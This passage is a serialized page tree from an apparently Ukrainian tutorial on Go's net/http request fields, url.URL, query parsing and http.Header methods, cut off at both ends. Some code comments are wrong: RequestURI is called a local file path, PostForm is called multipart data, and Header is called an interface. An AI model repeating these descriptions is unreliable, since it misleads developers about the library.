закрити)\n",[5557,16692,16693,16696,16699,16701],{"class":5559,"line":5738},[5557,16694,16695],{"class":5654},"    Body",[5557,16697,16698],{"class":5567}," io",[5557,16700,5268],{"class":5585},[5557,16702,16703],{"class":5567},"ReadCloser\n",[5557,16705,16706],{"class":5559,"line":5755},[5557,16707,5575],{"emptyLinePlaceholder":5574},[5557,16709,16710],{"class":5559,"line":5760},[5557,16711,16712],{"class":5647},"    \u002F\u002F Розмір тіла запиту (-1 якщо невідомо)\n",[5557,16714,16715,16718],{"class":5559,"line":5778},[5557,16716,16717],{"class":5654},"    ContentLength",[5557,16719,16720],{"class":5567}," int64\n",[5557,16722,16723],{"class":5559,"line":5794},[5557,16724,5575],{"emptyLinePlaceholder":5574},[5557,16726,16727],{"class":5559,"line":5799},[5557,16728,16729],{"class":5647},"    \u002F\u002F Список Transfer-Encoding (наприклад, [\"chunked\"])\n",[5557,16731,16732,16735,16737],{"class":5559,"line":5807},[5557,16733,16734],{"class":5654},"    TransferEncoding",[5557,16736,12049],{"class":5585},[5557,16738,16739],{"class":5567},"string\n",[5557,16741,16742],{"class":5559,"line":5813},[5557,16743,5575],{"emptyLinePlaceholder":5574},[5557,16745,16746],{"class":5559,"line":5835},[5557,16747,16748],{"class":5647},"    \u002F\u002F Закривати з'єднання після відповіді\n",[5557,16750,16751,16754],{"class":5559,"line":5849},[5557,16752,16753],{"class":5654},"    Close",[5557,16755,16756],{"class":5567}," bool\n",[5557,16758,16759],{"class":5559,"line":5875},[5557,16760,5575],{"emptyLinePlaceholder":5574},[5557,16762,16763],{"class":5559,"line":5881},[5557,16764,16765],{"class":5647},"    \u002F\u002F Хост із заголовка Host або URL\n",[5557,16767,16768,16771],{"class":5559,"line":5887},[5557,16769,16770],{"class":5654},"    Host",[5557,16772,16601],{"class":5567},[5557,16774,16775],{"class":5559,"line":5892},[5557,16776,5575],{"emptyLinePlaceholder":5574},[5557,16778,16779],{"class":5559,"line":5898},[5557,16780,16781],{"class":5647},"    \u002F\u002F Розібрані дані форми (після виклику ParseForm)\n",[5557,16783,16784,16787,16790,16792],{"class":5559,"line":5914},[5557,16785,16786],{"class":5654},"    Form",[5557,16788,16789],{"class":5567}," url",[5557,16791,5268],{"class":5585},[5557,16793,16794],{"class":5567},"Values\n",[5557,16796,16797],{"class":5559,"line":5919},[5557,16798,5575],{"emptyLinePlaceholder":5574},[5557,16800,16801],{"class":5559,"line":5925},[5557,16802,16803],{"class":5647},"    \u002F\u002F Розібрані дані multipart форми (після ParseMultipartForm)\n",[5557,16805,16806,16809,16811,16813],{"class":5559,"line":5930},[5557,16807,16808],{"class":5654},"    PostForm",[5557,16810,16789],{"class":5567},[5557,16812,5268],{"class":5585},[5557,16814,16794],{"class":5567},[5557,16816,16817,16820,16822,16825,16827],{"class":5559,"line":5952},[5557,16818,16819],{"class":5654},"    MultipartForm",[5557,16821,8925],{"class":5585},[5557,16823,16824],{"class":5567},"multipart",[5557,16826,5268],{"class":5585},[5557,16828,16829],{"class":5567},"Form\n",[5557,16831,16832],{"class":5559,"line":5966},[5557,16833,5575],{"emptyLinePlaceholder":5574},[5557,16835,16836],{"class":5559,"line":5971},[5557,16837,16838],{"class":5647},"    \u002F\u002F Інформація про TLS з'єднання (nil для HTTP)\n",[5557,16840,16841,16844,16846,16849,16851],{"class":5559,"line":5977},[5557,16842,16843],{"class":5654},"    TLS",[5557,16845,8925],{"class":5585},[5557,16847,16848],{"class":5567},"tls",[5557,16850,5268],{"class":5585},[5557,16852,16853],{"class":5567},"ConnectionState\n",[5557,16855,16856],{"class":5559,"line":5998},[5557,16857,5575],{"emptyLinePlaceholder":5574},[5557,16859,16860],{"class":5559,"line":6003},[5557,16861,16862],{"class":5647},"    \u002F\u002F Адреса віддаленого клієнта \"192.168.1.100:54321\"\n",[5557,16864,16865,16868],{"class":5559,"line":6009},[5557,16866,16867],{"class":5654},"    RemoteAddr",[5557,16869,16601],{"class":5567},[5557,16871,16872],{"class":5559,"line":6036},[5557,16873,5575],{"emptyLinePlaceholder":5574},[5557,16875,16876],{"class":5559,"line":6049},[5557,16877,16878],{"class":5647},"    \u002F\u002F Шлях до локального файлу (при ServeFile)\n",[5557,16880,16881,16884],{"class":5559,"line":6073},[5557,16882,16883],{"class":5654},"    RequestURI",[5557,16885,16601],{"class":5567},[5557,16887,16888],{"class":5559,"line":6079},[5557,16889,5575],{"emptyLinePlaceholder":5574},[5557,16891,16892],{"class":5559,"line":6084},[5557,16893,16894],{"class":5647},"    \u002F\u002F Контекст запиту (для таймаутів та скасування)\n",[5557,16896,16897,16900,16903,16905],{"class":5559,"line":6089},[5557,16898,16899],{"class":5654},"    ctx",[5557,16901,16902],{"class":5567}," context",[5557,16904,5268],{"class":5585},[5557,16906,16907],{"class":5567},"Context\n",[5557,16909,16910],{"class":5559,"line":6095},[5557,16911,5922],{"class":5585},[7759,16913,16915,16916,16919],{"id":16914},"поле-url-urlurl-структура-uri","Поле ",[5236,16917,16918],{},"URL *url.URL",": структура URI",[5464,16921,16923],{"className":5550,"code":16922,"language":5553,"meta":5472,"style":5472},"type URL struct {\n    Scheme   string    \u002F\u002F \"http\", \"https\"\n    Opaque   string    \u002F\u002F закодована непрозора частина\n    User     *Userinfo \u002F\u002F username:password (рідко використовується)\n    Host     string    \u002F\u002F \"example.com:8080\"\n    Path     string    \u002F\u002F \"\u002Fapi\u002Fv1\u002Fusers\"\n    RawPath  string    \u002F\u002F закодована версія Path\n    RawQuery string    \u002F\u002F \"page=2&limit=20\"\n    Fragment string    \u002F\u002F частина після # (не передається серверу)\n}\n",[5236,16924,16925,16936,16947,16957,16971,16981,16991,17002,17012,17022],{"__ignoreMap":5472},[5557,16926,16927,16929,16932,16934],{"class":5559,"line":5560},[5557,16928,11991],{"class":5563},[5557,16930,16931],{"class":5567}," URL",[5557,16933,11997],{"class":5563},[5557,16935,5701],{"class":5585},[5557,16937,16938,16941,16944],{"class":5559,"line":5571},[5557,16939,16940],{"class":5654},"    Scheme",[5557,16942,16943],{"class":5567},"   string",[5557,16945,16946],{"class":5647},"    \u002F\u002F \"http\", \"https\"\n",[5557,16948,16949,16952,16954],{"class":5559,"line":5578},[5557,16950,16951],{"class":5654},"    Opaque",[5557,16953,16943],{"class":5567},[5557,16955,16956],{"class":5647},"    \u002F\u002F закодована непрозора частина\n",[5557,16958,16959,16962,16965,16968],{"class":5559,"line":5589},[5557,16960,16961],{"class":5654},"    User",[5557,16963,16964],{"class":5585},"     *",[5557,16966,16967],{"class":5567},"Userinfo",[5557,16969,16970],{"class":5647}," \u002F\u002F username:password (рідко використовується)\n",[5557,16972,16973,16975,16978],{"class":5559,"line":5596},[5557,16974,16770],{"class":5654},[5557,16976,16977],{"class":5567},"     string",[5557,16979,16980],{"class":5647},"    \u002F\u002F \"example.com:8080\"\n",[5557,16982,16983,16986,16988],{"class":5559,"line":5602},[5557,16984,16985],{"class":5654},"    Path",[5557,16987,16977],{"class":5567},[5557,16989,16990],{"class":5647},"    \u002F\u002F \"\u002Fapi\u002Fv1\u002Fusers\"\n",[5557,16992,16993,16996,16999],{"class":5559,"line":5608},[5557,16994,16995],{"class":5654},"    RawPath",[5557,16997,16998],{"class":5567},"  string",[5557,17000,17001],{"class":5647},"    \u002F\u002F закодована версія Path\n",[5557,17003,17004,17007,17009],{"class":5559,"line":5614},[5557,17005,17006],{"class":5654},"    RawQuery",[5557,17008,6662],{"class":5567},[5557,17010,17011],{"class":5647},"    \u002F\u002F \"page=2&limit=20\"\n",[5557,17013,17014,17017,17019],{"class":5559,"line":5620},[5557,17015,17016],{"class":5654},"    Fragment",[5557,17018,6662],{"class":5567},[5557,17020,17021],{"class":5647},"    \u002F\u002F частина після # (не передається серверу)\n",[5557,17023,17024],{"class":5559,"line":5626},[5557,17025,5922],{"class":5585},[5348,17027,17028],{},[5205,17029,17030],{},"Приклад роботи з URL:",[5464,17032,17034],{"className":5550,"code":17033,"language":5553,"meta":5472,"style":5472},"func analyzeURL(w http.ResponseWriter, r *http.Request) {\n    u := r.URL\n\n    fmt.Fprintf(w, \"Шлях: %s\\n\", u.Path)              \u002F\u002F \u002Fapi\u002Fv1\u002Fusers\n    fmt.Fprintf(w, \"Raw Query: %s\\n\", u.RawQuery)     \u002F\u002F page=2&limit=20\n    \n    \u002F\u002F Розібрані query-параметри\n    query := u.Query()\n    page := query.Get(\"page\")      \u002F\u002F \"2\"\n    limit := query.Get(\"limit\")    \u002F\u002F \"20\"\n    \n    \u002F\u002F Перевірка наявності параметра\n    if _, exists := query[\"filter\"]; exists {\n        fmt.Fprintf(w, \"Параметр filter присутній\\n\")\n    }\n\n    \u002F\u002F Отримання всіх значень параметра (якщо їх кілька)\n    \u002F\u002F ?tag=go&tag=http&tag=tutorial\n    tags := query[\"tag\"] \u002F\u002F []string{\"go\", \"http\", \"tutorial\"}\n}\n",[5236,17035,17036,17067,17080,17084,17121,17158,17162,17167,17183,17208,17232,17236,17241,17267,17290,17294,17298,17303,17308,17328],{"__ignoreMap":5472},[5557,17037,17038,17040,17043,17045,17047,17049,17051,17053,17055,17057,17059,17061,17063,17065],{"class":5559,"line":5560},[5557,17039,5634],{"class":5563},[5557,17041,17042],{"class":5637}," analyzeURL",[5557,17044,5673],{"class":5585},[5557,17046,8909],{"class":5654},[5557,17048,8912],{"class":5567},[5557,17050,5268],{"class":5585},[5557,17052,8917],{"class":5567},[5557,17054,5305],{"class":5585},[5557,17056,8922],{"class":5654},[5557,17058,8925],{"class":5585},[5557,17060,8928],{"class":5567},[5557,17062,5268],{"class":5585},[5557,17064,8933],{"class":5567},[5557,17066,5949],{"class":5585},[5557,17068,17069,17072,17074,17076,17078],{"class":5559,"line":5571},[5557,17070,17071],{"class":5654},"    u",[5557,17073,5663],{"class":5585},[5557,17075,8922],{"class":5654},[5557,17077,5268],{"class":5585},[5557,17079,16625],{"class":5654},[5557,17081,17082],{"class":5559,"line":5578},[5557,17083,5575],{"emptyLinePlaceholder":5574},[5557,17085,17086,17088,17090,17092,17094,17096,17098,17101,17103,17105,17107,17109,17111,17113,17115,17118],{"class":5559,"line":5589},[5557,17087,5763],{"class":5654},[5557,17089,5268],{"class":5585},[5557,17091,9146],{"class":5637},[5557,17093,5673],{"class":5585},[5557,17095,8909],{"class":5654},[5557,17097,5305],{"class":5585},[5557,17099,17100],{"class":5592},"\"Шлях: ",[5557,17102,6238],{"class":5654},[5557,17104,6372],{"class":6358},[5557,17106,5723],{"class":5592},[5557,17108,5305],{"class":5585},[5557,17110,11562],{"class":5654},[5557,17112,5268],{"class":5585},[5557,17114,8629],{"class":5654},[5557,17116,17117],{"class":5585},")              ",[5557,17119,17120],{"class":5647},"\u002F\u002F \u002Fapi\u002Fv1\u002Fusers\n",[5557,17122,17123,17125,17127,17129,17131,17133,17135,17138,17140,17142,17144,17146,17148,17150,17152,17155],{"class":5559,"line":5596},[5557,17124,5763],{"class":5654},[5557,17126,5268],{"class":5585},[5557,17128,9146],{"class":5637},[5557,17130,5673],{"class":5585},[5557,17132,8909],{"class":5654},[5557,17134,5305],{"class":5585},[5557,17136,17137],{"class":5592},"\"Raw Query: ",[5557,17139,6238],{"class":5654},[5557,17141,6372],{"class":6358},[5557,17143,5723],{"class":5592},[5557,17145,5305],{"class":5585},[5557,17147,11562],{"class":5654},[5557,17149,5268],{"class":5585},[5557,17151,10118],{"class":5654},[5557,17153,17154],{"class":5585},")     ",[5557,17156,17157],{"class":5647},"\u002F\u002F page=2&limit=20\n",[5557,17159,17160],{"class":5559,"line":5602},[5557,17161,10877],{"class":5585},[5557,17163,17164],{"class":5559,"line":5608},[5557,17165,17166],{"class":5647},"    \u002F\u002F Розібрані query-параметри\n",[5557,17168,17169,17172,17174,17176,17178,17181],{"class":5559,"line":5614},[5557,17170,17171],{"class":5654},"    query",[5557,17173,5663],{"class":5585},[5557,17175,11562],{"class":5654},[5557,17177,5268],{"class":5585},[5557,17179,17180],{"class":5637},"Query",[5557,17182,5752],{"class":5585},[5557,17184,17185,17188,17190,17193,17195,17197,17199,17202,17205],{"class":5559,"line":5620},[5557,17186,17187],{"class":5654},"    page",[5557,17189,5663],{"class":5585},[5557,17191,17192],{"class":5654},"query",[5557,17194,5268],{"class":5585},[5557,17196,10977],{"class":5637},[5557,17198,5673],{"class":5585},[5557,17200,17201],{"class":5592},"\"page\"",[5557,17203,17204],{"class":5585},")      ",[5557,17206,17207],{"class":5647},"\u002F\u002F \"2\"\n",[5557,17209,17210,17213,17215,17217,17219,17221,17223,17226,17229],{"class":5559,"line":5626},[5557,17211,17212],{"class":5654},"    limit",[5557,17214,5663],{"class":5585},[5557,17216,17192],{"class":5654},[5557,17218,5268],{"class":5585},[5557,17220,10977],{"class":5637},[5557,17222,5673],{"class":5585},[5557,17224,17225],{"class":5592},"\"limit\"",[5557,17227,17228],{"class":5585},")    ",[5557,17230,17231],{"class":5647},"\u002F\u002F \"20\"\n",[5557,17233,17234],{"class":5559,"line":5631},[5557,17235,10877],{"class":5585},[5557,17237,17238],{"class":5559,"line":5644},[5557,17239,17240],{"class":5647},"    \u002F\u002F Перевірка наявності параметра\n",[5557,17242,17243,17245,17247,17249,17251,17253,17255,17257,17260,17263,17265],{"class":5559,"line":5651},[5557,17244,5689],{"class":5581},[5557,17246,11557],{"class":5654},[5557,17248,5305],{"class":5585},[5557,17250,15904],{"class":5654},[5557,17252,5663],{"class":5585},[5557,17254,17192],{"class":5654},[5557,17256,6192],{"class":5585},[5557,17258,17259],{"class":5592},"\"filter\"",[5557,17261,17262],{"class":5585},"]; ",[5557,17264,15904],{"class":5654},[5557,17266,5701],{"class":5585},[5557,17268,17269,17271,17273,17275,17277,17279,17281,17284,17286,17288],{"class":5559,"line":5686},[5557,17270,11530],{"class":5654},[5557,17272,5268],{"class":5585},[5557,17274,9146],{"class":5637},[5557,17276,5673],{"class":5585},[5557,17278,8909],{"class":5654},[5557,17280,5305],{"class":5585},[5557,17282,17283],{"class":5592},"\"Параметр filter присутній",[5557,17285,6372],{"class":6358},[5557,17287,5723],{"class":5592},[5557,17289,5623],{"class":5585},[5557,17291,17292],{"class":5559,"line":5704},[5557,17293,5735],{"class":5585},[5557,17295,17296],{"class":5559,"line":5732},[5557,17297,5575],{"emptyLinePlaceholder":5574},[5557,17299,17300],{"class":5559,"line":5738},[5557,17301,17302],{"class":5647},"    \u002F\u002F Отримання всіх значень параметра (якщо їх кілька)\n",[5557,17304,17305],{"class":5559,"line":5755},[5557,17306,17307],{"class":5647},"    \u002F\u002F ?tag=go&tag=http&tag=tutorial\n",[5557,17309,17310,17313,17315,17317,17319,17322,17325],{"class":5559,"line":5760},[5557,17311,17312],{"class":5654},"    tags",[5557,17314,5663],{"class":5585},[5557,17316,17192],{"class":5654},[5557,17318,6192],{"class":5585},[5557,17320,17321],{"class":5592},"\"tag\"",[5557,17323,17324],{"class":5585},"] ",[5557,17326,17327],{"class":5647},"\u002F\u002F []string{\"go\", \"http\", \"tutorial\"}\n",[5557,17329,17330],{"class":5559,"line":5778},[5557,17331,5922],{"class":5585},[7759,17333,16915,17335,17338],{"id":17334},"поле-header-httpheader-карта-заголовків",[5236,17336,17337],{},"Header http.Header",": карта заголовків",[5348,17340,17341,17344,17345,17348],{},[5236,17342,17343],{},"http.Header"," — це карта ",[5236,17346,17347],{},"map[string][]string",", де ключ — ім'я заголовка (канонізоване до Title-Case), значення — масив рядків (оскільки один заголовок може мати кілька значень).",[5464,17350,17352],{"className":5550,"code":17351,"language":5553,"meta":5472,"style":5472},"type Header map[string][]string\n",[5236,17353,17354],{"__ignoreMap":5472},[5557,17355,17356,17358,17361,17364,17366,17368,17371],{"class":5559,"line":5560},[5557,17357,11991],{"class":5563},[5557,17359,17360],{"class":5567}," Header",[5557,17362,17363],{"class":5563}," map",[5557,17365,6192],{"class":5585},[5557,17367,6692],{"class":5567},[5557,17369,17370],{"class":5585},"][]",[5557,17372,16739],{"class":5567},[5348,17374,17375],{},[5205,17376,17377,17378,7256],{},"Методи інтерфейсу ",[5236,17379,10972],{},[5464,17381,17383],{"className":5550,"code":17382,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Отримання першого значення заголовка (найчастіше використовується)\nfunc (h Header) Get(key string) string\n\n\u002F\u002F Встановлення заголовка (замінює існуючі значення)\nfunc (h Header) Set(key, value string)\n\n\u002F\u002F Додавання значення до заголовка (не замінює існуючі)\nfunc (h Header) Add(key, value string)\n\n\u002F\u002F Видалення заголовка\nfunc (h Header) Del(key string)\n\n\u002F\u002F Отримання всіх значень заголовка\nfunc (h Header) Values(key string) []string\n\n\u002F\u002F Канонізація імені заголовка (Content-Type, Accept-Encoding)\nfunc CanonicalHeaderKey(s string) string\n",[5236,17384,17385,17390,17416,17420,17425,17452,17456,17461,17488,17492,17497,17520,17524,17529,17555,17559,17564],{"__ignoreMap":5472},[5557,17386,17387],{"class":5559,"line":5560},[5557,17388,17389],{"class":5647},"\u002F\u002F Отримання першого значення заголовка (найчастіше використовується)\n",[5557,17391,17392,17394,17396,17399,17401,17403,17405,17407,17410,17412,17414],{"class":5559,"line":5571},[5557,17393,5634],{"class":5563},[5557,17395,5226],{"class":5585},[5557,17397,17398],{"class":5654},"h ",[5557,17400,10972],{"class":5567},[5557,17402,10276],{"class":5585},[5557,17404,10977],{"class":5637},[5557,17406,5673],{"class":5585},[5557,17408,17409],{"class":5654},"key",[5557,17411,6662],{"class":5567},[5557,17413,10276],{"class":5585},[5557,17415,16739],{"class":5567},[5557,17417,17418],{"class":5559,"line":5578},[5557,17419,5575],{"emptyLinePlaceholder":5574},[5557,17421,17422],{"class":5559,"line":5589},[5557,17423,17424],{"class":5647},"\u002F\u002F Встановлення заголовка (замінює існуючі значення)\n",[5557,17426,17427,17429,17431,17433,17435,17437,17439,17441,17443,17445,17448,17450],{"class":5559,"line":5596},[5557,17428,5634],{"class":5563},[5557,17430,5226],{"class":5585},[5557,17432,17398],{"class":5654},[5557,17434,10972],{"class":5567},[5557,17436,10276],{"class":5585},[5557,17438,11046],{"class":5637},[5557,17440,5673],{"class":5585},[5557,17442,17409],{"class":5654},[5557,17444,5305],{"class":5585},[5557,17446,17447],{"class":5654},"value",[5557,17449,6662],{"class":5567},[5557,17451,5623],{"class":5585},[5557,17453,17454],{"class":5559,"line":5602},[5557,17455,5575],{"emptyLinePlaceholder":5574},[5557,17457,17458],{"class":5559,"line":5608},[5557,17459,17460],{"class":5647},"\u002F\u002F Додавання значення до заголовка (не замінює існуючі)\n",[5557,17462,17463,17465,17467,17469,17471,17473,17476,17478,17480,17482,17484,17486],{"class":5559,"line":5614},[5557,17464,5634],{"class":5563},[5557,17466,5226],{"class":5585},[5557,17468,17398],{"class":5654},[5557,17470,10972],{"class":5567},[5557,17472,10276],{"class":5585},[5557,17474,17475],{"class":5637},"Add",[5557,17477,5673],{"class":5585},[5557,17479,17409],{"class":5654},[5557,17481,5305],{"class":5585},[5557,17483,17447],{"class":5654},[5557,17485,6662],{"class":5567},[5557,17487,5623],{"class":5585},[5557,17489,17490],{"class":5559,"line":5620},[5557,17491,5575],{"emptyLinePlaceholder":5574},[5557,17493,17494],{"class":5559,"line":5626},[5557,17495,17496],{"class":5647},"\u002F\u002F Видалення заголовка\n",[5557,17498,17499,17501,17503,17505,17507,17509,17512,17514,17516,17518],{"class":5559,"line":5631},[5557,17500,5634],{"class":5563},[5557,17502,5226],{"class":5585},[5557,17504,17398],{"class":5654},[5557,17506,10972],{"class":5567},[5557,17508,10276],{"class":5585},[5557,17510,17511],{"class":5637},"Del",[5557,17513,5673],{"class":5585},[5557,17515,17409],{"class":5654},[5557,17517,6662],{"class":5567},[5557,17519,5623],{"class":5585},[5557,17521,17522],{"class":5559,"line":5644},[5557,17523,5575],{"emptyLinePlaceholder":5574},[5557,17525,17526],{"class":5559,"line":5651},[5557,17527,17528],{"class":5647},"\u002F\u002F Отримання всіх значень заголовка\n",[5557,17530,17531,17533,17535,17537,17539,17541,17544,17546,17548,17550,17553],{"class":5559,"line":5686},[5557,17532,5634],{"class":5563},[5557,17534,5226],{"class":5585},[5557,17536,17398],{"class":5654},[5557,17538,10972],{"class":5567},[5557,17540,10276],{"class":5585},[5557,17542,17543],{"class":5637},"Values",[5557,17545,5673],{"class":5585},[5557,17547,17409],{"class":5654},[5557,17549,6662],{"class":5567},[5557,17551,17552],{"class":5585},") []",[5557,17554,16739],{"class":5567},[5557,17556,17557],{"class":5559,"line":5704},[5557,17558,5575],{"emptyLinePlaceholder":5574},[5557,17560,17561],{"class":5559,"line":5732},[5557,17562,17563],{"class":5647},"\u002F\u002F Канонізація імені заголовка (Content-Type, Accept-Encoding)\n",[5557,17565,17566,17568,17571,17573,17576,17578,17580],{"class":5559,"line":5738},[5557,17567,5634],{"class":5563},[5557,17569,17570],{"class":5637}," CanonicalHeaderKey",[5557,17572,5673],{"class":5585},[5557,17574,17575],{"class":5654},"s",[5557,17577,6662],{"class":5567},[5557,17579,10276],{"class":5585},[5557,17581,16739],{"class":5567},[5348,17583,17584],{},[5205,17585,17586],{},"Приклад роботи з заголовками:",[5464,17588,17590],{"className":5550,"code":17589,"language":5553,"meta":5472,"style":5472},"func headersHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Читання заголовків\n    userAgent := r.Header.Get(\"User-Agent\")\n    acceptLang := r.Header.Get(\"Accept-Language\")\n    \n    \u002F\u002F Отримання всіх значень (якщо заголовок повторюється)\n    acceptTypes := r.Header.Values(\"Accept\")\n    \u002F\u002F [\"application\u002Fjson\", \"text\u002Fhtml\", \"*\u002F*\"]\n\n    \u002F\u002F Перевірка наявності заголовка\n    if auth := r.Header.Get(\"Authorization\"); auth == \"\" {\n        http.Error(w, \"Missing Authorization header\", http.StatusUnauthorized)\n        return\n    }\n\n    \u002F\u002F Встановлення заголовків відповіді\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    w.Header().Set(\"X-Request-ID\", generateRequestID())\n    \n    \u002F\u002F Додавання кількох значень одного заголовка\n    w.Header().Add(\"Set-Cookie\", \"session=abc; HttpOnly\")\n    w.Header().Add(\"Set-Cookie\", \"theme=dark; Path=\u002F\")\n\n    \u002F\u002F Видалення заголовка\n    w.Header().Del(\"X-Debug-Info\")\n}\n",[5236,17591,17592,17623,17628,17652,17676,17680,17685,17708,17713,17717,17722,17757,17784,17788,17792,17796,17801,17823,17847,17851,17856,17880,17903,17907,17912,17931],{"__ignoreMap":5472},[5557,17593,17594,17596,17599,17601,17603,17605,17607,17609,17611,17613,17615,17617,17619,17621],{"class":5559,"line":5560},[5557,17595,5634],{"class":5563},[5557,17597,17598],{"class":5637}," headersHandler",[5557,17600,5673],{"class":5585},[5557,17602,8909],{"class":5654},[5557,17604,8912],{"class":5567},[5557,17606,5268],{"class":5585},[5557,17608,8917],{"class":5567},[5557,17610,5305],{"class":5585},[5557,17612,8922],{"class":5654},[5557,17614,8925],{"class":5585},[5557,17616,8928],{"class":5567},[5557,17618,5268],{"class":5585},[5557,17620,8933],{"class":5567},[5557,17622,5949],{"class":5585},[5557,17624,17625],{"class":5559,"line":5571},[5557,17626,17627],{"class":5647},"    \u002F\u002F Читання заголовків\n",[5557,17629,17630,17633,17635,17637,17639,17641,17643,17645,17647,17650],{"class":5559,"line":5578},[5557,17631,17632],{"class":5654},"    userAgent",[5557,17634,5663],{"class":5585},[5557,17636,8922],{"class":5654},[5557,17638,5268],{"class":5585},[5557,17640,10972],{"class":5654},[5557,17642,5268],{"class":5585},[5557,17644,10977],{"class":5637},[5557,17646,5673],{"class":5585},[5557,17648,17649],{"class":5592},"\"User-Agent\"",[5557,17651,5623],{"class":5585},[5557,17653,17654,17657,17659,17661,17663,17665,17667,17669,17671,17674],{"class":5559,"line":5589},[5557,17655,17656],{"class":5654},"    acceptLang",[5557,17658,5663],{"class":5585},[5557,17660,8922],{"class":5654},[5557,17662,5268],{"class":5585},[5557,17664,10972],{"class":5654},[5557,17666,5268],{"class":5585},[5557,17668,10977],{"class":5637},[5557,17670,5673],{"class":5585},[5557,17672,17673],{"class":5592},"\"Accept-Language\"",[5557,17675,5623],{"class":5585},[5557,17677,17678],{"class":5559,"line":5596},[5557,17679,10877],{"class":5585},[5557,17681,17682],{"class":5559,"line":5602},[5557,17683,17684],{"class":5647},"    \u002F\u002F Отримання всіх значень (якщо заголовок повторюється)\n",[5557,17686,17687,17690,17692,17694,17696,17698,17700,17702,17704,17706],{"class":5559,"line":5608},[5557,17688,17689],{"class":5654},"    acceptTypes",[5557,17691,5663],{"class":5585},[5557,17693,8922],{"class":5654},[5557,17695,5268],{"class":5585},[5557,17697,10972],{"class":5654},[5557,17699,5268],{"class":5585},[5557,17701,17543],{"class":5637},[5557,17703,5673],{"class":5585},[5557,17705,11395],{"class":5592},[5557,17707,5623],{"class":5585},[5557,17709,17710],{"class":5559,"line":5614},[5557,17711,17712],{"class":5647},"    \u002F\u002F [\"application\u002Fjson\", \"text\u002Fhtml\", \"*\u002F*\"]\n",[5557,17714,17715],{"class":5559,"line":5620},[5557,17716,5575],{"emptyLinePlaceholder":5574},[5557,17718,17719],{"class":5559,"line":5626},[5557,17720,17721],{"class":5647},"    \u002F\u002F Перевірка наявності заголовка\n",[5557,17723,17724,17726,17729,17731,17733,17735,17737,17739,17741,17743,17746,17748,17751,17753,17755],{"class":5559,"line":5631},[5557,17725,5689],{"class":5581},[5557,17727,17728],{"class":5654}," auth",[5557,17730,5663],{"class":5585},[5557,17732,8922],{"class":5654},[5557,17734,5268],{"class":5585},[5557,17736,10972],{"class":5654},[5557,17738,5268],{"class":5585},[5557,17740,10977],{"class":5637},[5557,17742,5673],{"class":5585},[5557,17744,17745],{"class":5592},"\"Authorization\"",[5557,17747,15210],{"class":5585},[5557,17749,17750],{"class":5654},"auth",[5557,17752,6353],{"class":5585},[5557,17754,9520],{"class":5592},[5557,17756,5701],{"class":5585},[5557,17758,17759,17761,17763,17765,17767,17769,17771,17774,17776,17778,17780,17782],{"class":5559,"line":5644},[5557,17760,9300],{"class":5654},[5557,17762,5268],{"class":5585},[5557,17764,9267],{"class":5637},[5557,17766,5673],{"class":5585},[5557,17768,8909],{"class":5654},[5557,17770,5305],{"class":5585},[5557,17772,17773],{"class":5592},"\"Missing Authorization header\"",[5557,17775,5305],{"class":5585},[5557,17777,8928],{"class":5654},[5557,17779,5268],{"class":5585},[5557,17781,9285],{"class":5654},[5557,17783,5623],{"class":5585},[5557,17785,17786],{"class":5559,"line":5651},[5557,17787,6076],{"class":5581},[5557,17789,17790],{"class":5559,"line":5686},[5557,17791,5735],{"class":5585},[5557,17793,17794],{"class":5559,"line":5704},[5557,17795,5575],{"emptyLinePlaceholder":5574},[5557,17797,17798],{"class":5559,"line":5732},[5557,17799,17800],{"class":5647},"    \u002F\u002F Встановлення заголовків відповіді\n",[5557,17802,17803,17805,17807,17809,17811,17813,17815,17817,17819,17821],{"class":5559,"line":5738},[5557,17804,9121],{"class":5654},[5557,17806,5268],{"class":5585},[5557,17808,10972],{"class":5637},[5557,17810,11043],{"class":5585},[5557,17812,11046],{"class":5637},[5557,17814,5673],{"class":5585},[5557,17816,11098],{"class":5592},[5557,17818,5305],{"class":5585},[5557,17820,6555],{"class":5592},[5557,17822,5623],{"class":5585},[5557,17824,17825,17827,17829,17831,17833,17835,17837,17840,17842,17845],{"class":5559,"line":5755},[5557,17826,9121],{"class":5654},[5557,17828,5268],{"class":5585},[5557,17830,10972],{"class":5637},[5557,17832,11043],{"class":5585},[5557,17834,11046],{"class":5637},[5557,17836,5673],{"class":5585},[5557,17838,17839],{"class":5592},"\"X-Request-ID\"",[5557,17841,5305],{"class":5585},[5557,17843,17844],{"class":5637},"generateRequestID",[5557,17846,6270],{"class":5585},[5557,17848,17849],{"class":5559,"line":5760},[5557,17850,10877],{"class":5585},[5557,17852,17853],{"class":5559,"line":5778},[5557,17854,17855],{"class":5647},"    \u002F\u002F Додавання кількох значень одного заголовка\n",[5557,17857,17858,17860,17862,17864,17866,17868,17870,17873,17875,17878],{"class":5559,"line":5794},[5557,17859,9121],{"class":5654},[5557,17861,5268],{"class":5585},[5557,17863,10972],{"class":5637},[5557,17865,11043],{"class":5585},[5557,17867,17475],{"class":5637},[5557,17869,5673],{"class":5585},[5557,17871,17872],{"class":5592},"\"Set-Cookie\"",[5557,17874,5305],{"class":5585},[5557,17876,17877],{"class":5592},"\"session=abc; HttpOnly\"",[5557,17879,5623],{"class":5585},[5557,17881,17882,17884,17886,17888,17890,17892,17894,17896,17898,17901],{"class":5559,"line":5799},[5557,17883,9121],{"class":5654},[5557,17885,5268],{"class":5585},[5557,17887,10972],{"class":5637},[5557,17889,11043],{"class":5585},[5557,17891,17475],{"class":5637},[5557,17893,5673],{"class":5585},[5557,17895,17872],{"class":5592},[5557,17897,5305],{"class":5585},[5557,17899,17900],{"class":5592},"\"theme=dark; Path=\u002F\"",[5557,17902,5623],{"class":5585},[5557,17904,17905],{"class":5559,"line":5807},[5557,17906,5575],{"emptyLinePlaceholder":5574},[5557,17908,17909],{"class":5559,"line":5813},[5557,17910,17911],{"class":5647},"    \u002F\u002F Видалення заголовка\n",[5557,17913,17914,17916,17918,17920,17922,17924,17926,17929],{"class":5559,"line":5835},[5557,17915,9121],{"class":5654},[5557,17917,5268],{"class":5585},[5557,17919,10972],{"class":5637},[5557,17921,11043],{"class":5585},[5557,17923,17511],{"class":5637},[5557,17925,5673],{"class":5585},[5557,17927,17928],{"class":5592},"\"X-Debug-Info\"",[5557,17930,5623],{"class":5585},[5557,17932,17933],{"class":5559,"line":5849},[5557,17934,5922],{"class":5585},[5430,17936,17937,17940,17941,9767,17944,5305,17946,9767,17949,17951,17952,5222,17955,17958],{},[5205,17938,17939],{},"Канонізація заголовків:"," Go 